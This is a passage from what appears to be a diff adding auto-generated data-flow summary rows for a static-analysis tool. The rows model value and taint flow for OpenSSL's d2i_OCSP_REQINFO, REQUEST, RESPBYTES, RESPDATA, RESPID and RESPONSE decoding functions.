"Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQINFO", "(OCSP_REQINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_REQUEST", "(OCSP_REQUEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPBYTES", "(OCSP_RESPBYTES **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPDATA", "(OCSP_RESPDATA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPID", "(OCSP_RESPID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OCSP_RESPONSE", "(OCSP_RESPONSE **,const unsigned char **,long)", "", "Argument[2]", 